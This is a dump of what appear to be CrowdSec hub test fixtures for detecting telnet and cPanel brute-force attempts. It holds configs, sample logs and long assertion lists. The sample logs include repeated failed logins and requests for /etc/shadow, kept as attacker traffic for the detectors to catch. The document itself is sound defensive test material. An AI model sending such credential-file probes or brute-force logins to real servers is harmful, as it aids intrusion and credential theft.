(1.2.3.4:2222) [session: 3e5a9212s1f] hub1/.tests/cowrie_telnet-bf/scenario.assert000066400000000000000000000076631437532772500214460ustar00rootroot00000000000000len(results) == 1 "1.1.1.1" in results[0].Overflow.GetSources() results[0].Overflow.Sources["1.1.1.1"].IP == "1.1.1.1" results[0].Overflow.Sources["1.1.1.1"].Range == "" results[0].Overflow.Sources["1.1.1.1"].GetScope() == "Ip" results[0].Overflow.Sources["1.1.1.1"].GetValue() == "1.1.1.1" results[0].Overflow.Alert.Events[0].GetMeta("datasource_path") == "cowrie_telnet-bf.log" results[0].Overflow.Alert.Events[0].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[0].GetMeta("dest_ip") == "1.2.3.4" results[0].Overflow.Alert.Events[0].GetMeta("dest_port") == "2222" results[0].Overflow.Alert.Events[0].GetMeta("log_type") == "telnet_new_session" results[0].Overflow.Alert.Events[0].GetMeta("machine") == "ip.compute.internal" results[0].Overflow.Alert.Events[0].GetMeta("service") == "telnet" results[0].Overflow.Alert.Events[0].GetMeta("source_ip") == "1.1.1.1" results[0].Overflow.Alert.Events[1].GetMeta("datasource_path") == "cowrie_telnet-bf.log" results[0].Overflow.Alert.Events[1].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[1].GetMeta("dest_ip") == "1.2.3.4" results[0].Overflow.Alert.Events[1].GetMeta("dest_port") == "2222" results[0].Overflow.Alert.Events[1].GetMeta("log_type") == "telnet_new_session" results[0].Overflow.Alert.Events[1].GetMeta("machine") == "ip.compute.internal" results[0].Overflow.Alert.Events[1].GetMeta("service") == "telnet" results[0].Overflow.Alert.Events[1].GetMeta("source_ip") == "1.1.1.1" results[0].Overflow.Alert.Events[2].GetMeta("datasource_path") == "cowrie_telnet-bf.log" results[0].Overflow.Alert.Events[2].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[2].GetMeta("dest_ip") == "1.2.3.4" results[0].Overflow.Alert.Events[2].GetMeta("dest_port") == "2222" results[0].Overflow.Alert.Events[2].GetMeta("log_type") == "telnet_new_session" results[0].Overflow.Alert.Events[2].GetMeta("machine") == "ip.compute.internal" results[0].Overflow.Alert.Events[2].GetMeta("service") == "telnet" results[0].Overflow.Alert.Events[2].GetMeta("source_ip") == "1.1.1.1" results[0].Overflow.Alert.Events[3].GetMeta("datasource_path") == "cowrie_telnet-bf.log" results[0].Overflow.Alert.Events[3].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[3].GetMeta("dest_ip") == "1.2.3.4" results[0].Overflow.Alert.Events[3].GetMeta("dest_port") == "2222" results[0].Overflow.Alert.Events[3].GetMeta("log_type") == "telnet_new_session" results[0].Overflow.Alert.Events[3].GetMeta("machine") == "ip.compute.internal" results[0].Overflow.Alert.Events[3].GetMeta("service") == "telnet" results[0].Overflow.Alert.Events[3].GetMeta("source_ip") == "1.1.1.1" results[0].Overflow.Alert.Events[4].GetMeta("datasource_path") == "cowrie_telnet-bf.log" results[0].Overflow.Alert.Events[4].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[4].GetMeta("dest_ip") == "1.2.3.4" results[0].Overflow.Alert.Events[4].GetMeta("dest_port") == "2222" results[0].Overflow.Alert.Events[4].GetMeta("log_type") == "telnet_new_session" results[0].Overflow.Alert.Events[4].GetMeta("machine") == "ip.compute.internal" results[0].Overflow.Alert.Events[4].GetMeta("service") == "telnet" results[0].Overflow.Alert.Events[4].GetMeta("source_ip") == "1.1.1.1" results[0].Overflow.Alert.Events[5].GetMeta("datasource_path") == "cowrie_telnet-bf.log" results[0].Overflow.Alert.Events[5].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[5].GetMeta("dest_ip") == "1.2.3.4" results[0].Overflow.Alert.Events[5].GetMeta("dest_port") == "2222" results[0].Overflow.Alert.Events[5].GetMeta("log_type") == "telnet_new_session" results[0].Overflow.Alert.Events[5].GetMeta("machine") == "ip.compute.internal" results[0].Overflow.Alert.Events[5].GetMeta("service") == "telnet" results[0].Overflow.Alert.Events[5].GetMeta("source_ip") == "1.1.1.1" results[0].Overflow.Alert.GetScenario() == "crowdsecurity/telnet-bf" results[0].Overflow.Alert.Remediation == true results[0].Overflow.Alert.GetEventsCount() == 6 hub1/.tests/cpanel-bf/000077500000000000000000000000001437532772500150035ustar00rootroot00000000000000hub1/.tests/cpanel-bf/config.yaml000066400000000000000000000003521437532772500171340ustar00rootroot00000000000000parsers: - crowdsecurity/syslog-logs - crowdsecurity/dateparse-enrich - crowdsecurity/cpanel-logs scenarios: - ./scenarios/crowdsecurity/cpanel-bf.yaml postoverflows: - "" log_file: cpanel-bf.log log_type: cpanel ignore_parsers: true hub1/.tests/cpanel-bf/cpanel-bf.log000066400000000000000000000017121437532772500173360ustar00rootroot00000000000000[2022-06-29 14:06:40 +1000] info [cpaneld] 1.2.3.4 - Root "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user Root (has_cpuser_file failed) [2022-06-29 14:06:41 +1000] info [cpaneld] 1.2.3.4 - Root "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user Root (has_cpuser_file failed) [2022-06-29 14:06:41 +1000] info [cpaneld] 1.2.3.4 - Root "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user Root (has_cpuser_file failed) [2022-06-29 14:06:42 +1000] info [cpaneld] 1.2.3.4 - root "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: root login is not permitted to cpaneld [2022-06-29 14:06:44 +1000] info [whostmgrd] 1.2.3.4 - toto "POST /json-api/batch HTTP/1.1" FAILED LOGIN whostmgrd: login attempt to whm by a non-reseller/root [2022-06-29 14:06:45 +1000] info [whostmgrd] 1.2.3.4 - toto@toto.com "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrecthub1/.tests/cpanel-bf/scenario.assert000066400000000000000000000105151437532772500200330ustar00rootroot00000000000000len(results) == 1 "1.2.3.4" in results[0].Overflow.GetSources() results[0].Overflow.Sources["1.2.3.4"].IP == "1.2.3.4" results[0].Overflow.Sources["1.2.3.4"].Range == "" results[0].Overflow.Sources["1.2.3.4"].GetScope() == "Ip" results[0].Overflow.Sources["1.2.3.4"].GetValue() == "1.2.3.4" results[0].Overflow.Alert.Events[0].GetMeta("datasource_path") == "cpanel-bf.log" results[0].Overflow.Alert.Events[0].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[0].GetMeta("http_path") == "/login/?login_only=1" results[0].Overflow.Alert.Events[0].GetMeta("http_verb") == "POST" results[0].Overflow.Alert.Events[0].GetMeta("log_type") == "auth_bf_log" results[0].Overflow.Alert.Events[0].GetMeta("service") == "http" results[0].Overflow.Alert.Events[0].GetMeta("source_ip") == "1.2.3.4" results[0].Overflow.Alert.Events[0].GetMeta("timestamp") == "2022-06-29T14:06:40Z" results[0].Overflow.Alert.Events[0].GetMeta("username") == "Root" results[0].Overflow.Alert.Events[1].GetMeta("datasource_path") == "cpanel-bf.log" results[0].Overflow.Alert.Events[1].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[1].GetMeta("http_path") == "/login/?login_only=1" results[0].Overflow.Alert.Events[1].GetMeta("http_verb") == "POST" results[0].Overflow.Alert.Events[1].GetMeta("log_type") == "auth_bf_log" results[0].Overflow.Alert.Events[1].GetMeta("service") == "http" results[0].Overflow.Alert.Events[1].GetMeta("source_ip") == "1.2.3.4" results[0].Overflow.Alert.Events[1].GetMeta("timestamp") == "2022-06-29T14:06:41Z" results[0].Overflow.Alert.Events[1].GetMeta("username") == "Root" results[0].Overflow.Alert.Events[2].GetMeta("datasource_path") == "cpanel-bf.log" results[0].Overflow.Alert.Events[2].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[2].GetMeta("http_path") == "/login/?login_only=1" results[0].Overflow.Alert.Events[2].GetMeta("http_verb") == "POST" results[0].Overflow.Alert.Events[2].GetMeta("log_type") == "auth_bf_log" results[0].Overflow.Alert.Events[2].GetMeta("service") == "http" results[0].Overflow.Alert.Events[2].GetMeta("source_ip") == "1.2.3.4" results[0].Overflow.Alert.Events[2].GetMeta("timestamp") == "2022-06-29T14:06:41Z" results[0].Overflow.Alert.Events[2].GetMeta("username") == "Root" results[0].Overflow.Alert.Events[3].GetMeta("datasource_path") == "cpanel-bf.log" results[0].Overflow.Alert.Events[3].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[3].GetMeta("http_path") == "/login/?login_only=1" results[0].Overflow.Alert.Events[3].GetMeta("http_verb") == "POST" results[0].Overflow.Alert.Events[3].GetMeta("log_type") == "auth_bf_log" results[0].Overflow.Alert.Events[3].GetMeta("service") == "http" results[0].Overflow.Alert.Events[3].GetMeta("source_ip") == "1.2.3.4" results[0].Overflow.Alert.Events[3].GetMeta("timestamp") == "2022-06-29T14:06:42Z" results[0].Overflow.Alert.Events[3].GetMeta("username") == "root" results[0].Overflow.Alert.Events[4].GetMeta("datasource_path") == "cpanel-bf.log" results[0].Overflow.Alert.Events[4].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[4].GetMeta("http_path") == "/json-api/batch" results[0].Overflow.Alert.Events[4].GetMeta("http_verb") == "POST" results[0].Overflow.Alert.Events[4].GetMeta("log_type") == "auth_bf_log" results[0].Overflow.Alert.Events[4].GetMeta("service") == "http" results[0].Overflow.Alert.Events[4].GetMeta("source_ip") == "1.2.3.4" results[0].Overflow.Alert.Events[4].GetMeta("timestamp") == "2022-06-29T14:06:44Z" results[0].Overflow.Alert.Events[4].GetMeta("username") == "toto" results[0].Overflow.Alert.Events[5].GetMeta("datasource_path") == "cpanel-bf.log" results[0].Overflow.Alert.Events[5].GetMeta("datasource_type") == "file" results[0].Overflow.Alert.Events[5].GetMeta("http_path") == "/login/?login_only=1" results[0].Overflow.Alert.Events[5].GetMeta("http_verb") == "POST" results[0].Overflow.Alert.Events[5].GetMeta("log_type") == "auth_bf_log" results[0].Overflow.Alert.Events[5].GetMeta("service") == "http" results[0].Overflow.Alert.Events[5].GetMeta("source_ip") == "1.2.3.4" results[0].Overflow.Alert.Events[5].GetMeta("timestamp") == "2022-06-29T14:06:45Z" results[0].Overflow.Alert.Events[5].GetMeta("username") == "toto@toto.com" results[0].Overflow.Alert.GetScenario() == "crowdsecurity/cpanel-bf" results[0].Overflow.Alert.Remediation == true results[0].Overflow.Alert.GetEventsCount() == 6hub1/.tests/cpanel-logs/000077500000000000000000000000001437532772500153605ustar00rootroot00000000000000hub1/.tests/cpanel-logs/config.yaml000066400000000000000000000002331437532772500175070ustar00rootroot00000000000000parsers: - crowdsecurity/syslog-logs - crowdsecurity/cpanel-logs scenarios: postoverflows: - "" collections: [] log_file: cpanel-logs.log log_type: cpanel hub1/.tests/cpanel-logs/cpanel-logs.log000066400000000000000000000025621437532772500202740ustar00rootroot00000000000000127.0.0.1 - - [06/10/2021:11:19:31 -0000] "GET /.__cpanel__service__check__./serviceauth?sendkey=__HIDDEN__&version=1.2 HTTP/1.0" 200 0 "-" "-" "-" "-" 2086 103.139.170.232 - - [07/05/2021:13:11:25 -0000] "GET /etc/shadow HTTP/1.1" 200 0 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36" "-" "-" 2083 103.139.170.232 - - [07/05/2021:13:11:25 -0000] "GET /etc/shadow HTTP/1.1" 200 0 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36" "-" "-" 2083 [2022-06-29 14:06:40 +1000] info [cpaneld] 1.2.3.4 - Root "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user Root (has_cpuser_file failed) [2022-06-29 13:40:15 +1000] info [cpaneld] 1.2.3.4 - root "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: root login is not permitted to cpaneld [2022-06-29 14:05:04 +1000] info [whostmgrd] 1.2.3.4 - toto "POST /json-api/batch HTTP/1.1" FAILED LOGIN whostmgrd: login attempt to whm by a non-reseller/root [2022-06-29 15:29:06 +1000] info [whostmgrd] 1.2.3.4 - toto@toto.com "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect [2021-06-10 12:07:01 +0000] info [cpaneld] 1.2.3.4 - cscpanel "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: brute force attempt (user cscpanel) has locked out IP 213.44.59.93 hub1/.tests/cpanel-logs/parser.assert000066400000000000000000000522651437532772500201110ustar00rootroot00000000000000len(results) == 3 len(results["s00-raw"]["crowdsecurity/non-syslog"]) == 8 results["s00-raw"]["crowdsecurity/non-syslog"][0].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][0].Evt.Parsed["message"] == "127.0.0.1 - - [06/10/2021:11:19:31 -0000] \"GET /.__cpanel__service__check__./serviceauth?sendkey=__HIDDEN__&version=1.2 HTTP/1.0\" 200 0 \"-\" \"-\" \"-\" \"-\" 2086" results["s00-raw"]["crowdsecurity/non-syslog"][0].Evt.Parsed["program"] == "cpanel" results["s00-raw"]["crowdsecurity/non-syslog"][0].Evt.Meta["datasource_path"] == "cpanel-logs.log" results["s00-raw"]["crowdsecurity/non-syslog"][0].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][1].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][1].Evt.Parsed["message"] == "103.139.170.232 - - [07/05/2021:13:11:25 -0000] \"GET /etc/shadow HTTP/1.1\" 200 0 \"-\" \"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36\" \"-\" \"-\" 2083" results["s00-raw"]["crowdsecurity/non-syslog"][1].Evt.Parsed["program"] == "cpanel" results["s00-raw"]["crowdsecurity/non-syslog"][1].Evt.Meta["datasource_path"] == "cpanel-logs.log" results["s00-raw"]["crowdsecurity/non-syslog"][1].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][2].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][2].Evt.Parsed["message"] == "103.139.170.232 - - [07/05/2021:13:11:25 -0000] \"GET /etc/shadow HTTP/1.1\" 200 0 \"-\" \"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36\" \"-\" \"-\" 2083" results["s00-raw"]["crowdsecurity/non-syslog"][2].Evt.Parsed["program"] == "cpanel" results["s00-raw"]["crowdsecurity/non-syslog"][2].Evt.Meta["datasource_path"] == "cpanel-logs.log" results["s00-raw"]["crowdsecurity/non-syslog"][2].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][3].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][3].Evt.Parsed["message"] == "[2022-06-29 14:06:40 +1000] info [cpaneld] 1.2.3.4 - Root \"POST /login/?login_only=1 HTTP/1.1\" FAILED LOGIN cpaneld: invalid cpanel user Root (has_cpuser_file failed)" results["s00-raw"]["crowdsecurity/non-syslog"][3].Evt.Parsed["program"] == "cpanel" results["s00-raw"]["crowdsecurity/non-syslog"][3].Evt.Meta["datasource_path"] == "cpanel-logs.log" results["s00-raw"]["crowdsecurity/non-syslog"][3].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][4].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][4].Evt.Parsed["message"] == "[2022-06-29 13:40:15 +1000] info [cpaneld] 1.2.3.4 - root \"POST /login/?login_only=1 HTTP/1.1\" FAILED LOGIN cpaneld: root login is not permitted to cpaneld" results["s00-raw"]["crowdsecurity/non-syslog"][4].Evt.Parsed["program"] == "cpanel" results["s00-raw"]["crowdsecurity/non-syslog"][4].Evt.Meta["datasource_path"] == "cpanel-logs.log" results["s00-raw"]["crowdsecurity/non-syslog"][4].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][5].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][5].Evt.Parsed["message"] == "[2022-06-29 14:05:04 +1000] info [whostmgrd] 1.2.3.4 - toto \"POST /json-api/batch HTTP/1.1\" FAILED LOGIN whostmgrd: login attempt to whm by a non-reseller/root" results["s00-raw"]["crowdsecurity/non-syslog"][5].Evt.Parsed["program"] == "cpanel" results["s00-raw"]["crowdsecurity/non-syslog"][5].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][5].Evt.Meta["datasource_path"] == "cpanel-logs.log" results["s00-raw"]["crowdsecurity/non-syslog"][6].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][6].Evt.Parsed["message"] == "[2022-06-29 15:29:06 +1000] info [whostmgrd] 1.2.3.4 - toto@toto.com \"POST /login/?login_only=1 HTTP/1.1\" FAILED LOGIN whostmgrd: user password incorrect" results["s00-raw"]["crowdsecurity/non-syslog"][6].Evt.Parsed["program"] == "cpanel" results["s00-raw"]["crowdsecurity/non-syslog"][6].Evt.Meta["datasource_path"] == "cpanel-logs.log" results["s00-raw"]["crowdsecurity/non-syslog"][6].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][7].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][7].Evt.Parsed["message"] == "[2021-06-10 12:07:01 +0000] info [cpaneld] 1.2.3.4 - cscpanel \"POST /login/?login_only=1 HTTP/1.1\" FAILED LOGIN cpaneld: brute force attempt (user cscpanel) has locked out IP 213.44.59.93" results["s00-raw"]["crowdsecurity/non-syslog"][7].Evt.Parsed["program"] == "cpanel" results["s00-raw"]["crowdsecurity/non-syslog"][7].Evt.Meta["datasource_path"] == "cpanel-logs.log" results["s00-raw"]["crowdsecurity/non-syslog"][7].Evt.Meta["datasource_type"] == "file" len(results["s00-raw"]["crowdsecurity/syslog-logs"]) == 8 results["s00-raw"]["crowdsecurity/syslog-logs"][0].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][1].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][2].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][3].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][4].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][5].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][6].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][7].Success == false len(results["s01-parse"]["crowdsecurity/cpanel-logs"]) == 8 results["s01-parse"]["crowdsecurity/cpanel-logs"][0].Success == true results["s01-parse"]["crowdsecurity/cpanel-logs"][0].Evt.Parsed["verb"] == "GET" results["s01-parse"]["crowdsecurity/cpanel-logs"][0].Evt.Parsed["x_forwarded_for"] == "-" results["s01-parse"]["crowdsecurity/cpanel-logs"][0].Evt.Parsed["http_user_agent"] == "-" results["s01-parse"]["crowdsecurity/cpanel-logs"][0].Evt.Parsed["remote_addr"] == "127.0.0.1" results["s01-parse"]["crowdsecurity/cpanel-logs"][0].Evt.Parsed["request_body_length"] == "0" results["s01-parse"]["crowdsecurity/cpanel-logs"][0].Evt.Parsed["http_referer"] == "-" results["s01-parse"]["crowdsecurity/cpanel-logs"][0].Evt.Parsed["status"] == "200" results["s01-parse"]["crowdsecurity/cpanel-logs"][0].Evt.Parsed["request"] == "/.__cpanel__service__check__./serviceauth?sendkey=__HIDDEN__&version=1.2" results["s01-parse"]["crowdsecurity/cpanel-logs"][0].Evt.Parsed["program"] == "cpanel" results["s01-parse"]["crowdsecurity/cpanel-logs"][0].Evt.Parsed["server_port"] == "2086" results["s01-parse"]["crowdsecurity/cpanel-logs"][0].Evt.Parsed["username"] == "-" results["s01-parse"]["crowdsecurity/cpanel-logs"][0].Evt.Parsed["auth_method"] == "-" results["s01-parse"]["crowdsecurity/cpanel-logs"][0].Evt.Parsed["http_version"] == "1.0" results["s01-parse"]["crowdsecurity/cpanel-logs"][0].Evt.Parsed["message"] == "127.0.0.1 - - [06/10/2021:11:19:31 -0000] \"GET /.__cpanel__service__check__./serviceauth?sendkey=__HIDDEN__&version=1.2 HTTP/1.0\" 200 0 \"-\" \"-\" \"-\" \"-\" 2086" results["s01-parse"]["crowdsecurity/cpanel-logs"][0].Evt.Meta["datasource_path"] == "cpanel-logs.log" results["s01-parse"]["crowdsecurity/cpanel-logs"][0].Evt.Meta["http_user_agent"] == "-" results["s01-parse"]["crowdsecurity/cpanel-logs"][0].Evt.Meta["http_verb"] == "GET" results["s01-parse"]["crowdsecurity/cpanel-logs"][0].Evt.Meta["log_type"] == "http_access-log" results["s01-parse"]["crowdsecurity/cpanel-logs"][0].Evt.Meta["service"] == "http" results["s01-parse"]["crowdsecurity/cpanel-logs"][0].Evt.Meta["source_ip"] == "127.0.0.1" results["s01-parse"]["crowdsecurity/cpanel-logs"][0].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["crowdsecurity/cpanel-logs"][0].Evt.Meta["http_path"] == "/.__cpanel__service__check__./serviceauth?sendkey=__HIDDEN__&version=1.2" results["s01-parse"]["crowdsecurity/cpanel-logs"][0].Evt.Meta["http_status"] == "200" results["s01-parse"]["crowdsecurity/cpanel-logs"][0].Evt.Meta["username"] == "-" results["s01-parse"]["crowdsecurity/cpanel-logs"][1].Success == true results["s01-parse"]["crowdsecurity/cpanel-logs"][1].Evt.Parsed["request"] == "/etc/shadow" results["s01-parse"]["crowdsecurity/cpanel-logs"][1].Evt.Parsed["x_forwarded_for"] == "-" results["s01-parse"]["crowdsecurity/cpanel-logs"][1].Evt.Parsed["http_referer"] == "-" results["s01-parse"]["crowdsecurity/cpanel-logs"][1].Evt.Parsed["program"] == "cpanel" results["s01-parse"]["crowdsecurity/cpanel-logs"][1].Evt.Parsed["remote_addr"] == "103.139.170.232" results["s01-parse"]["crowdsecurity/cpanel-logs"][1].Evt.Parsed["auth_method"] == "-" results["s01-parse"]["crowdsecurity/cpanel-logs"][1].Evt.Parsed["request_body_length"] == "0" results["s01-parse"]["crowdsecurity/cpanel-logs"][1].Evt.Parsed["username"] == "-" results["s01-parse"]["crowdsecurity/cpanel-logs"][1].Evt.Parsed["verb"] == "GET" results["s01-parse"]["crowdsecurity/cpanel-logs"][1].Evt.Parsed["server_port"] == "2083" results["s01-parse"]["crowdsecurity/cpanel-logs"][1].Evt.Parsed["status"] == "200" results["s01-parse"]["crowdsecurity/cpanel-logs"][1].Evt.Parsed["http_user_agent"] == "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36" results["s01-parse"]["crowdsecurity/cpanel-logs"][1].Evt.Parsed["http_version"] == "1.1" results["s01-parse"]["crowdsecurity/cpanel-logs"][1].Evt.Parsed["message"] == "103.139.170.232 - - [07/05/2021:13:11:25 -0000] \"GET /etc/shadow HTTP/1.1\" 200 0 \"-\" \"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36\" \"-\" \"-\" 2083" results["s01-parse"]["crowdsecurity/cpanel-logs"][1].Evt.Meta["log_type"] == "http_access-log" results["s01-parse"]["crowdsecurity/cpanel-logs"][1].Evt.Meta["service"] == "http" results["s01-parse"]["crowdsecurity/cpanel-logs"][1].Evt.Meta["source_ip"] == "103.139.170.232" results["s01-parse"]["crowdsecurity/cpanel-logs"][1].Evt.Meta["username"] == "-" results["s01-parse"]["crowdsecurity/cpanel-logs"][1].Evt.Meta["datasource_path"] == "cpanel-logs.log" results["s01-parse"]["crowdsecurity/cpanel-logs"][1].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["crowdsecurity/cpanel-logs"][1].Evt.Meta["http_path"] == "/etc/shadow" results["s01-parse"]["crowdsecurity/cpanel-logs"][1].Evt.Meta["http_status"] == "200" results["s01-parse"]["crowdsecurity/cpanel-logs"][1].Evt.Meta["http_user_agent"] == "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36" results["s01-parse"]["crowdsecurity/cpanel-logs"][1].Evt.Meta["http_verb"] == "GET" results["s01-parse"]["crowdsecurity/cpanel-logs"][2].Success == true results["s01-parse"]["crowdsecurity/cpanel-logs"][2].Evt.Parsed["http_user_agent"] == "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36" results["s01-parse"]["crowdsecurity/cpanel-logs"][2].Evt.Parsed["status"] == "200" results["s01-parse"]["crowdsecurity/cpanel-logs"][2].Evt.Parsed["http_referer"] == "-" results["s01-parse"]["crowdsecurity/cpanel-logs"][2].Evt.Parsed["program"] == "cpanel" results["s01-parse"]["crowdsecurity/cpanel-logs"][2].Evt.Parsed["request"] == "/etc/shadow" results["s01-parse"]["crowdsecurity/cpanel-logs"][2].Evt.Parsed["server_port"] == "2083" results["s01-parse"]["crowdsecurity/cpanel-logs"][2].Evt.Parsed["remote_addr"] == "103.139.170.232" results["s01-parse"]["crowdsecurity/cpanel-logs"][2].Evt.Parsed["request_body_length"] == "0" results["s01-parse"]["crowdsecurity/cpanel-logs"][2].Evt.Parsed["username"] == "-" results["s01-parse"]["crowdsecurity/cpanel-logs"][2].Evt.Parsed["verb"] == "GET" results["s01-parse"]["crowdsecurity/cpanel-logs"][2].Evt.Parsed["auth_method"] == "-" results["s01-parse"]["crowdsecurity/cpanel-logs"][2].Evt.Parsed["http_version"] == "1.1" results["s01-parse"]["crowdsecurity/cpanel-logs"][2].Evt.Parsed["message"] == "103.139.170.232 - - [07/05/2021:13:11:25 -0000] \"GET /etc/shadow HTTP/1.1\" 200 0 \"-\" \"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36\" \"-\" \"-\" 2083" results["s01-parse"]["crowdsecurity/cpanel-logs"][2].Evt.Parsed["x_forwarded_for"] == "-" results["s01-parse"]["crowdsecurity/cpanel-logs"][2].Evt.Meta["datasource_path"] == "cpanel-logs.log" results["s01-parse"]["crowdsecurity/cpanel-logs"][2].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["crowdsecurity/cpanel-logs"][2].Evt.Meta["log_type"] == "http_access-log" results["s01-parse"]["crowdsecurity/cpanel-logs"][2].Evt.Meta["source_ip"] == "103.139.170.232" results["s01-parse"]["crowdsecurity/cpanel-logs"][2].Evt.Meta["username"] == "-" results["s01-parse"]["crowdsecurity/cpanel-logs"][2].Evt.Meta["http_path"] == "/etc/shadow" results["s01-parse"]["crowdsecurity/cpanel-logs"][2].Evt.Meta["http_status"] == "200" results["s01-parse"]["crowdsecurity/cpanel-logs"][2].Evt.Meta["http_user_agent"] == "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36" results["s01-parse"]["crowdsecurity/cpanel-logs"][2].Evt.Meta["http_verb"] == "GET" results["s01-parse"]["crowdsecurity/cpanel-logs"][2].Evt.Meta["service"] == "http" results["s01-parse"]["crowdsecurity/cpanel-logs"][3].Success == true results["s01-parse"]["crowdsecurity/cpanel-logs"][3].Evt.Parsed["http_version"] == "1.1" results["s01-parse"]["crowdsecurity/cpanel-logs"][3].Evt.Parsed["message"] == "[2022-06-29 14:06:40 +1000] info [cpaneld] 1.2.3.4 - Root \"POST /login/?login_only=1 HTTP/1.1\" FAILED LOGIN cpaneld: invalid cpanel user Root (has_cpuser_file failed)" results["s01-parse"]["crowdsecurity/cpanel-logs"][3].Evt.Parsed["request"] == "/login/?login_only=1" results["s01-parse"]["crowdsecurity/cpanel-logs"][3].Evt.Parsed["date"] == "2022-06-29 14:06:40" results["s01-parse"]["crowdsecurity/cpanel-logs"][3].Evt.Parsed["program"] == "cpanel" results["s01-parse"]["crowdsecurity/cpanel-logs"][3].Evt.Parsed["remote_addr"] == "1.2.3.4" results["s01-parse"]["crowdsecurity/cpanel-logs"][3].Evt.Parsed["username"] == "Root" results["s01-parse"]["crowdsecurity/cpanel-logs"][3].Evt.Parsed["verb"] == "POST" results["s01-parse"]["crowdsecurity/cpanel-logs"][3].Evt.Meta["datasource_path"] == "cpanel-logs.log" results["s01-parse"]["crowdsecurity/cpanel-logs"][3].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["crowdsecurity/cpanel-logs"][3].Evt.Meta["http_path"] == "/login/?login_only=1" results["s01-parse"]["crowdsecurity/cpanel-logs"][3].Evt.Meta["http_verb"] == "POST" results["s01-parse"]["crowdsecurity/cpanel-logs"][3].Evt.Meta["log_type"] == "auth_bf_log" results["s01-parse"]["crowdsecurity/cpanel-logs"][3].Evt.Meta["service"] == "http" results["s01-parse"]["crowdsecurity/cpanel-logs"][3].Evt.Meta["source_ip"] == "1.2.3.4" results["s01-parse"]["crowdsecurity/cpanel-logs"][3].Evt.Meta["username"] == "Root" results["s01-parse"]["crowdsecurity/cpanel-logs"][4].Success == true results["s01-parse"]["crowdsecurity/cpanel-logs"][4].Evt.Parsed["http_version"] == "1.1" results["s01-parse"]["crowdsecurity/cpanel-logs"][4].Evt.Parsed["message"] == "[2022-06-29 13:40:15 +1000] info [cpaneld] 1.2.3.4 - root \"POST /login/?login_only=1 HTTP/1.1\" FAILED LOGIN cpaneld: root login is not permitted to cpaneld" results["s01-parse"]["crowdsecurity/cpanel-logs"][4].Evt.Parsed["program"] == "cpanel" results["s01-parse"]["crowdsecurity/cpanel-logs"][4].Evt.Parsed["request"] == "/login/?login_only=1" results["s01-parse"]["crowdsecurity/cpanel-logs"][4].Evt.Parsed["verb"] == "POST" 